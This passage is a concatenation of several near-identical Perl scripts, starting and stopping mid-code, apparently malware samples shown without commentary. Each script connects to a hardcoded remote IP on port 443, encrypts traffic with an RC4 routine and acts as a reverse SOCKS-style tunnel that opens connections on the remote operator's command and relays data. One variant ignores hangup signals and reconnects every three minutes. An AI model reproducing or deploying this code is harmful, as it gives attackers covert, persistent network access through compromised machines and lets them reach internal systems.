Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.181'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.186'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '36.255.98.177'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.179'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = 